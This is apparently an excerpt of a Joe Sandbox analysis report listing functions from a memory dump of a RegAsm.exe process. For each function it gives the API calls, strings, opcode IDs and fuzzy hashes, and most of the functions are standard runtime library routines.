Instruction Fuzzy Hash: 0D41C774A04209EFDB04DF99C891BAEBBB1FF48304F118199E515AB391C775AE81CF94

Function 004328C0 Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(00000000), ref: 0043299A

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 5e50287bf576a96177b3c1bdd9e7627ea8e6c70097eceb1447f0624dc9b5ac8a
Instruction ID: ce107d3b7d72fddbc7e3b00c7e019b97f27011eaffc0a70003703e7f9a3107bd
Opcode Fuzzy Hash: 5e50287bf576a96177b3c1bdd9e7627ea8e6c70097eceb1447f0624dc9b5ac8a
Instruction Fuzzy Hash: 9721A2B4D00109DFCF10DFA5D9859AEBBB1FF88304F14816AD84127395C775AA49CF92

Function 00557321 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNEL32(00000000,00000000,?,?,00557208,00000000,?,00588A30,0000000C,005572C4,-T,?), ref: 00557377

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 26fa0fa7ec2ab76ab11a0b7f9f927141b622cce5571aa602e23bfcde8f72db97
Instruction ID: 65c9ff3045235c3e9670b1f8b2b620030dd467f50647267c8fe6cc7f4be4ccda
Opcode Fuzzy Hash: 26fa0fa7ec2ab76ab11a0b7f9f927141b622cce5571aa602e23bfcde8f72db97
Instruction Fuzzy Hash: 9D112C325081199ADA2412387C6D77D7F49BB89732F2A0A1BEC18C72D2EE648C8DA250

Function 0054A661 Relevance: 1.6, APIs: 1, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,?,?,0054A623,?,?,?,?,?), ref: 0054A69D

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 23e9664b3fb7366f39bb714dfc55e827943dd4001eb63e988844420fa94a86d9
Instruction ID: fa5d4e5063e62752f2b46c650081ae08a44ebef9a59c764caf5573a9c2d447f3
Opcode Fuzzy Hash: 23e9664b3fb7366f39bb714dfc55e827943dd4001eb63e988844420fa94a86d9
Instruction Fuzzy Hash: 9001D632A10119EFDF058F59DC49DEE3F29FB95324B2A0209F811DB291E671ED519B90

Function 0042D7E0 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetUserGeoID.KERNEL32(00000010), ref: 0042D7F0

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: User
String ID:
API String ID: 765557111-0
Opcode ID: e67169b38e506b4f83e29a23cbca68d1155ce9eacc176724a4b4f4ca38b369d5
Instruction ID: f1b01fb81212144d89688bba2859c5f40c00fc6828b6167cd7409c625e85ac9a
Opcode Fuzzy Hash: e67169b38e506b4f83e29a23cbca68d1155ce9eacc176724a4b4f4ca38b369d5
Instruction Fuzzy Hash: BE119CB9E40209FFDB04DFE4D856BAEBB74FB48700F104199EA15A7380D6716A00DB95

Function 0055BA36 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,0041C3C8,?,00559A3F,00000001,00000364,0041C3C8,?,000000FF,?,?,0054DA06,00559DFB,-000A1220), ref: 0055BA77

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c54e6741ba2ef6fc8f4934e47b0e42888573b7980df02e9c106c01ad843523c0
Instruction ID: ab7ddace94b7cbe22528c150f7d3e1bb89feebee744c593b24db378703b84201
Opcode Fuzzy Hash: c54e6741ba2ef6fc8f4934e47b0e42888573b7980df02e9c106c01ad843523c0
Instruction Fuzzy Hash: A2F0B431A0412567BB215E62DC2DB5E7F88BB807A2B155113FC14D7094DB20DE4C86A0

Function 0041D950 Relevance: 1.5, APIs: 1, Instructions: 36COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMTD ref: 0041D967

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 37d7bc40e02c6e97e483190b4e65a81858c0050708cb4465f264053ba9e3f462
Instruction ID: 9ec84c77909c2b5d6512e97e5878d472c3e69f203aea452d97a4c3dcfcbda0cd
Opcode Fuzzy Hash: 37d7bc40e02c6e97e483190b4e65a81858c0050708cb4465f264053ba9e3f462
Instruction Fuzzy Hash: 8BF044F0D1010CABCB04EFA8D48169EFBB1EF44304F1081AAE80597355D234AE81DB89

Function 005008B0 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMTD ref: 005008CD

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: ee713994b8143375a2b45b88e62518b3dbc7a27345dde4e0a4d3551a8b5ca6aa
Instruction ID: cef9eaeb60790e5bfff586ffad9458dfeccca6a71d4916073ec2b02001621645
Opcode Fuzzy Hash: ee713994b8143375a2b45b88e62518b3dbc7a27345dde4e0a4d3551a8b5ca6aa
Instruction Fuzzy Hash: 2BF03CB4D0430CABDB04EFA4D4457EEBFB4BB04304F10C4AED80527282D275A794CBA2

Function 00559DB8 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,0041C3C8,-000A1220,?,0053D918,0041C3C8,?,0041C3C8,00000000,?,0041A2D6), ref: 00559DEA

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ad447136b59a433971186c7c7f8f0f722be67231cbaebe10a1132c26c81586c0
Instruction ID: 2a0de4496bdb2571186dcb60ce233bce12e58ba1df0b60770a811fa2588ed22d
Opcode Fuzzy Hash: ad447136b59a433971186c7c7f8f0f722be67231cbaebe10a1132c26c81586c0
Instruction Fuzzy Hash: 01E0E531204226E7E6312A278D2AB5B7E6CFB523E2F550123ED14D6490DB29DC4842E1

Function 0051BB30 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

boost::exception::~exception.LIBCPMTD ref: 0051BB74

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: boost::exception::~exception
String ID:
API String ID: 2817438405-0
Opcode ID: aaf8d5cf3bdbad48ad128ec131d19dc99d3d1f830e4e7152f11978b3e117509e
Instruction ID: 03c7210baa0ac4ae14c1dddfffbc53bcbc31a87c8869af511a1bcf497d3e666b
Opcode Fuzzy Hash: aaf8d5cf3bdbad48ad128ec131d19dc99d3d1f830e4e7152f11978b3e117509e
Instruction Fuzzy Hash: A0F08C7190064DEBDB04DF88C952BAEBB78FB48B20F10432DE825636C0DB341A01CB91

Function 00559D7E Relevance: 1.5, APIs: 1, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,0055E911,0041C3C8,00000000,0041C3C8,?,0055EBB2,0041C3C8,00000007,0041C3C8,?,0055F1A7,0041C3C8,0041C3C8), ref: 00559D94

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 4d1c5026c3904f481daf4fb59fd90dde15dad5c53c3045f5bc20291ab9e5b4da
Instruction ID: 4495ec503282bb1109777fc68a74046e15c845e720771a41123b92d22b16bda5
Opcode Fuzzy Hash: 4d1c5026c3904f481daf4fb59fd90dde15dad5c53c3045f5bc20291ab9e5b4da
Instruction Fuzzy Hash: 6BE08632504204E7DB212FA6EC0CBDA3F69BB407A5F144061FD08D7061D7758984DB90

Function 0054EEFE Relevance: 1.5, APIs: 1, Instructions: 16COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,0054EEF8,00000000,0054A7CA,?,?,?,0054A7CA,?), ref: 0054EF28

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: a0e649ebb3790626bc8e793b29a01a06687a967d95ebed008fab1c670a559f55
Instruction ID: 3e0aac365b171d317595ec6c06de3ad8a1b4474c669e4fa575533648fc21b675
Opcode Fuzzy Hash: a0e649ebb3790626bc8e793b29a01a06687a967d95ebed008fab1c670a559f55
Instruction Fuzzy Hash: B7D05E3100410DBBDF043F64DC0E88A3F2DBF50354B444010F90986032EF72999AEA80

Non-executed Functions

Function 0042D100 Relevance: 8.0, APIs: 5, Instructions: 492COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0042D292

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 0042D490

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: 0f735376197f0cb1ccb8ebd60daccc30ad2c7b3b10e27746ad7d43802228f58d
Instruction ID: 7969f8b20df49e913423c6fc79ab30a547976138e59097662abc8826af25ecde
Opcode Fuzzy Hash: 0f735376197f0cb1ccb8ebd60daccc30ad2c7b3b10e27746ad7d43802228f58d
Instruction Fuzzy Hash: 111270B1E002189FEB14DF65DC41BEEBBB5BF88304F1481AAE909B7381DA346D458F55

Function 00551830 Relevance: 6.5, APIs: 4, Instructions: 455COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a343076a518654af70a9da96e6e9b61f768d5661b7cffe6da580929d9687f608
Instruction ID: e6ed699df8668e52a0daca73de2dca25fff45c741dd6f9c53593bdeb14fbc47f
Opcode Fuzzy Hash: a343076a518654af70a9da96e6e9b61f768d5661b7cffe6da580929d9687f608
Instruction Fuzzy Hash: 91024971E016199BDF14CFA9C8907AEBFB1FF88325F24826AD919A7341D731AD05CB84

Function 004210E0 Relevance: 6.3, APIs: 4, Instructions: 252COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0042114D

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 004211CB
__aulldiv.LIBCMT ref: 00421290

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: bfd43ad9c8736bfcee77f7947d1ccb79d474be9b0ed7cd4bc3f25a53f6b0c51e
Instruction ID: 84ba1144f5fca28f1938dbdc51eb5b34f36659438330cbdac25c6767772d3268
Opcode Fuzzy Hash: bfd43ad9c8736bfcee77f7947d1ccb79d474be9b0ed7cd4bc3f25a53f6b0c51e
Instruction Fuzzy Hash: 819162B1E40204AFEB14DFA8DC45FAEB7B6FB98711F608529F904FB280D6746D018B65

Function 005667ED Relevance: 6.2, APIs: 4, Instructions: 188COMMON

Download Yara Rule

APIs

PMDtoOffset.LIBCMT ref: 0056687F

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Offset
String ID:
API String ID: 1587990502-0
Opcode ID: edeac05373739988130e621274be122a62abdec2efe5db27cafd0b407b77abe8
Instruction ID: 501da244afcd48ec434eda5dc188311029e16df58ef6334574a81fbf733b6b12
Opcode Fuzzy Hash: edeac05373739988130e621274be122a62abdec2efe5db27cafd0b407b77abe8
Instruction Fuzzy Hash: 5C513972A04205AFCB14DF68DC86AAABFA5FF85324F048569FD1597281E731F914CBE0

Function 00545D59 Relevance: 24.8, APIs: 13, Strings: 1, Instructions: 332COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00545E22
DName::operator+.LIBCMT ref: 00545E5F
DName::DName.LIBVCRUNTIME ref: 00545E73
DName::operator+.LIBCMT ref: 00545E82
DName::operator+.LIBCMT ref: 00545F10
DName::DName.LIBVCRUNTIME ref: 00545F38
DName::operator+.LIBCMT ref: 00545F46
DName::operator+.LIBCMT ref: 00545F80
DName::operator+.LIBCMT ref: 00545FC1
UnDecorator::getReturnType.LIBCMT ref: 00545FF1
operator+.LIBVCRUNTIME ref: 005460F3

Strings

0nT, xrefs: 00545F29, 00546037

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$NameName::$Decorator::getReturnTypeoperator+
String ID: 0nT
API String ID: 2932655852-1280503622
Opcode ID: ee0ed56db9a33b0ab24fbd9ab2c1d3474ed83fcf27501d249735b97acd82faad
Instruction ID: 7f774a995e2fbfaee7fbf0e6daeb92b102b4d52a50811341ca76b442ff6930fb
Opcode Fuzzy Hash: ee0ed56db9a33b0ab24fbd9ab2c1d3474ed83fcf27501d249735b97acd82faad
Instruction Fuzzy Hash: 25C195B1900219AFCB18DFA4D89AEED7FB8FF58308F504159F505A7292EB709A48CB51

Function 005472EB Relevance: 19.8, APIs: 13, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00547356
DName::operator+.LIBCMT ref: 00547499

Part of subcall function 00542F6A: shared_ptr.LIBCMT ref: 00542F86

DName::operator+.LIBCMT ref: 00547444
DName::operator+.LIBCMT ref: 005474E5
DName::operator+.LIBCMT ref: 005474F4
DName::operator+.LIBCMT ref: 00547620
DName::operator=.LIBVCRUNTIME ref: 00547660
DName::DName.LIBVCRUNTIME ref: 0054766A
DName::operator+.LIBCMT ref: 00547687
DName::operator+.LIBCMT ref: 00547693

Part of subcall function 00548B85: Replicator::operator[].LIBCMT ref: 00548BC2

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$NameName::Name::operator=Replicator::operator[]shared_ptr
String ID:
API String ID: 1043660730-0
Opcode ID: 8a9985756778dcc49c0a98683881e859970dc82887b59d4014fa883564cf617f
Instruction ID: 207090a12dcb56695a97d9ff6018b6411dc8e2e70fb929b497d6692c5b7d958d
Opcode Fuzzy Hash: 8a9985756778dcc49c0a98683881e859970dc82887b59d4014fa883564cf617f
Instruction Fuzzy Hash: DEC1CFB1904209AFCB24CFA8C849BEEBFF9BB59308F54445DF545A7281EB749948CF50

Function 00544502 Relevance: 16.9, APIs: 11, Instructions: 359COMMONLIBRARYCODE

Download Yara Rule

APIs

shared_ptr.LIBCMT ref: 00544575
shared_ptr.LIBCMT ref: 005445BD
shared_ptr.LIBCMT ref: 005445DC
operator+.LIBVCRUNTIME ref: 0054470A
DName::operator=.LIBVCRUNTIME ref: 0054471C
shared_ptr.LIBCMT ref: 00544961
DName::operator+.LIBCMT ref: 005449A3
operator+.LIBVCRUNTIME ref: 005449E9

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: shared_ptr$operator+$Name::operator+Name::operator=
String ID:
API String ID: 1464150960-0
Opcode ID: 503856c76269c4362eda1e8bb2484769d09b4da0212d3037e87e5dbfe5a78c74
Instruction ID: c2ba0ba573ff725e5c30d5b416d175145c6fab37bcda936aea995059209a3464
Opcode Fuzzy Hash: 503856c76269c4362eda1e8bb2484769d09b4da0212d3037e87e5dbfe5a78c74
Instruction Fuzzy Hash: FEE169B1C4420A9BCB04DF94C599BFEBFB4FB45308F10851AE516A7244E7749A0ADFA1

Function 00548B85 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 185COMMONLIBRARYCODE

Download Yara Rule

APIs

Replicator::operator[].LIBCMT ref: 00548BC2

Strings

QTT, xrefs: 00548CD2
QTT, xrefs: 00548C14
@, xrefs: 00548D2E

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Replicator::operator[]
String ID: @$QTT$QTT
API String ID: 3676697650-1786170303
Opcode ID: e5b4c6cb3325b65a9296c44146c7730de47b6d17967f49c4311cccef38bf33ce
Instruction ID: 506aaeef1f458947500b8a7ab3dfbe08055fb30c4fc2cb891cb18a6a7ea413aa
Opcode Fuzzy Hash: e5b4c6cb3325b65a9296c44146c7730de47b6d17967f49c4311cccef38bf33ce
Instruction Fuzzy Hash: 0C61D671D00209AFDB14DFA4D846BFEBFB8BF69304F544419E641B7291DB749908CB90

Function 00547DE1 Relevance: 15.3, APIs: 10, Instructions: 297COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00547EB7
UnDecorator::getSignedDimension.LIBCMT ref: 00547EC2
UnDecorator::getSignedDimension.LIBCMT ref: 00547FAE
UnDecorator::getSignedDimension.LIBCMT ref: 00547FCB
UnDecorator::getSignedDimension.LIBCMT ref: 00547FE8
DName::operator+.LIBCMT ref: 00547FFD
UnDecorator::getSignedDimension.LIBCMT ref: 00548017
_swprintf.LIBCMTD ref: 00548091
DName::operator+.LIBCMT ref: 005480EC

Part of subcall function 00543F27: DName::DName.LIBVCRUNTIME ref: 00543F85

DName::DName.LIBVCRUNTIME ref: 00548163

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Decorator::getDimensionSigned$Name::operator+$NameName::$_swprintf
String ID:
API String ID: 138750261-0
Opcode ID: 8b172bdbe81e921148e04b51666a72fa9ccc9b00e418446d33423f7128d7a4db
Instruction ID: d8b50fc1d44dd1f97f085bc11f502906aca76ce6f991295cbc71168f9a08b271
Opcode Fuzzy Hash: 8b172bdbe81e921148e04b51666a72fa9ccc9b00e418446d33423f7128d7a4db
Instruction Fuzzy Hash: FF91C472D0820EAADB14EBB4C94EAFE7F78BB4930CF50055AF101A6192DF759E09C791

Function 00419F50 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00419F62
int.LIBCPMTD ref: 00419F74

Part of subcall function 0040E500: std::_Lockit::_Lockit.LIBCPMT ref: 0040E516
Part of subcall function 0040E500: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E540

Concurrency::cancel_current_task.LIBCPMTD ref: 00419FBB
std::_Lockit::~_Lockit.LIBCPMT ref: 0041A031

Strings

zA, xrefs: 00419F80, 00419FA6, 00419FA9
zA, xrefs: 00419FC8, 00419FDC, 00419FE8, 00419FED, 00419FDF

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Concurrency::cancel_current_task
String ID: zA$zA
API String ID: 3053331623-2891261629
Opcode ID: 1d232f22ee2ee7dac319227645354ba5e1f6d5373785ad6605b0abc59ea7c83d
Instruction ID: 08e6fc743ad72d0cef9479f6499ea6d6b2b5dab3ed7a9607822c4fd8e2c64e8a
Opcode Fuzzy Hash: 1d232f22ee2ee7dac319227645354ba5e1f6d5373785ad6605b0abc59ea7c83d
Instruction Fuzzy Hash: 923192B8D00209EFCB04DF95D591AEEBBB1BF58304F1085AAE815A7390DB34AA45CF95

Function 0055ABE2 Relevance: 10.8, APIs: 7, Instructions: 329COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0055AC68

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c5d88cd8ccdc79eb2912dd170692754b5cbff111af033f0509bf008ababbc8da
Instruction ID: b29fa3e187040221eae4ee5a42dac642119c662c52720b4ea47719f74f75cf65
Opcode Fuzzy Hash: c5d88cd8ccdc79eb2912dd170692754b5cbff111af033f0509bf008ababbc8da
Instruction Fuzzy Hash: D6B168729003569FDB128F68CCA2BAEBFB9FF55311F144256ED05AF282D2709D05C7A2

Function 005442B6 Relevance: 10.7, APIs: 7, Instructions: 151COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00544344
DName::operator+.LIBCMT ref: 00544397

Part of subcall function 00542F6A: shared_ptr.LIBCMT ref: 00542F86

Part of subcall function 00542E95: DName::operator+.LIBCMT ref: 00542EB6

DName::operator+.LIBCMT ref: 00544388
DName::operator+.LIBCMT ref: 005443E8
DName::operator+.LIBCMT ref: 005443F5
DName::operator+.LIBCMT ref: 0054443C
DName::operator+.LIBCMT ref: 00544449

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$shared_ptr
String ID:
API String ID: 1037112749-0
Opcode ID: acb5c056947bca81b8db3fd35a828ca2415058ee6979c86fcdf7effd43b93165
Instruction ID: bc7f143bcffa6b273823a954cf1e47313c076fbfb6c0b22382ffee418176d968
Opcode Fuzzy Hash: acb5c056947bca81b8db3fd35a828ca2415058ee6979c86fcdf7effd43b93165
Instruction Fuzzy Hash: 295160B1900219ABCF19DF94C88AEEEBFB8FB48704F444559F505A7181EB709A48CFA0

Function 00540060 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00540097
___except_validate_context_record.LIBVCRUNTIME ref: 0054009F
_ValidateLocalCookies.LIBCMT ref: 00540128
__IsNonwritableInCurrentImage.LIBCMT ref: 00540153
_ValidateLocalCookies.LIBCMT ref: 005401A8

Strings

csm, xrefs: 0054013D

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: c347491207c08c03b2e6c027ac526de4130ebeabc4363d0d7ffdd18e0504aec1
Instruction ID: cc52cc784c11262eb046ff44ab3f245e5ca9b159f1ad8c21ea05e0515b821a53
Opcode Fuzzy Hash: c347491207c08c03b2e6c027ac526de4130ebeabc4363d0d7ffdd18e0504aec1
Instruction Fuzzy Hash: BC41D434A002199BCF10DF68CC89ADE7FB5BF44318F249055E9186B392D775AA05CB91

Function 00418600 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00418612
int.LIBCPMTD ref: 00418624

Part of subcall function 0040E500: std::_Lockit::_Lockit.LIBCPMT ref: 0040E516
Part of subcall function 0040E500: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E540

Concurrency::cancel_current_task.LIBCPMTD ref: 0041866B
std::_Lockit::~_Lockit.LIBCPMT ref: 004186E1

Strings

8X, xrefs: 0041861F

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Concurrency::cancel_current_task
String ID: 8X
API String ID: 3053331623-599188778
Opcode ID: 3691501e35e13afb380301ed388bf711c18c88af4b6c1a1ec708a8798005f82f
Instruction ID: 6c4c4dfc0e6266a24bc4d471c979c1bc966df865d38940f0f4f8be67b28f8543
Opcode Fuzzy Hash: 3691501e35e13afb380301ed388bf711c18c88af4b6c1a1ec708a8798005f82f
Instruction Fuzzy Hash: 8631C3B4D00209DFCB04DF95D485AEEBBB1BF48300F108A6AE815B7390DB34AA45CF95

Function 00548A31 Relevance: 9.1, APIs: 6, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00548A75
DName::operator+.LIBCMT ref: 00548A81

Part of subcall function 00542F6A: shared_ptr.LIBCMT ref: 00542F86

DName::operator+=.LIBCMT ref: 00548B3F

Part of subcall function 005472EB: DName::operator+.LIBCMT ref: 00547356
Part of subcall function 005472EB: DName::operator+.LIBCMT ref: 00547620

Part of subcall function 00542E95: DName::operator+.LIBCMT ref: 00542EB6

DName::operator+.LIBCMT ref: 00548AFC

Part of subcall function 00542FC2: DName::operator=.LIBVCRUNTIME ref: 00542FE3

DName::DName.LIBVCRUNTIME ref: 00548B63
DName::operator+.LIBCMT ref: 00548B6F

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$NameName::Name::operator+=Name::operator=shared_ptr
String ID:
API String ID: 2795783184-0
Opcode ID: 045011430cc782bbddc996811eca425cc7b5e3fd913c9206f289f374f3ce58e9
Instruction ID: 67e4cf2787d4e63f306f86e4443e7f178bc894f4d9c1368798c609fa48830338
Opcode Fuzzy Hash: 045011430cc782bbddc996811eca425cc7b5e3fd913c9206f289f374f3ce58e9
Instruction Fuzzy Hash: D041F6F0A00244AFDB14DFA8C85AAFE7FF9FB4A308F444459F585AB291DB749948CB14

Function 005476A9 Relevance: 9.1, APIs: 6, Instructions: 94COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00548B85: Replicator::operator[].LIBCMT ref: 00548BC2

DName::operator=.LIBVCRUNTIME ref: 00547755

Part of subcall function 005472EB: DName::operator+.LIBCMT ref: 00547356
Part of subcall function 005472EB: DName::operator+.LIBCMT ref: 00547620

DName::operator+.LIBCMT ref: 0054770F
DName::operator+.LIBCMT ref: 0054771B
DName::DName.LIBVCRUNTIME ref: 0054775F
DName::operator+.LIBCMT ref: 0054777C
DName::operator+.LIBCMT ref: 00547788

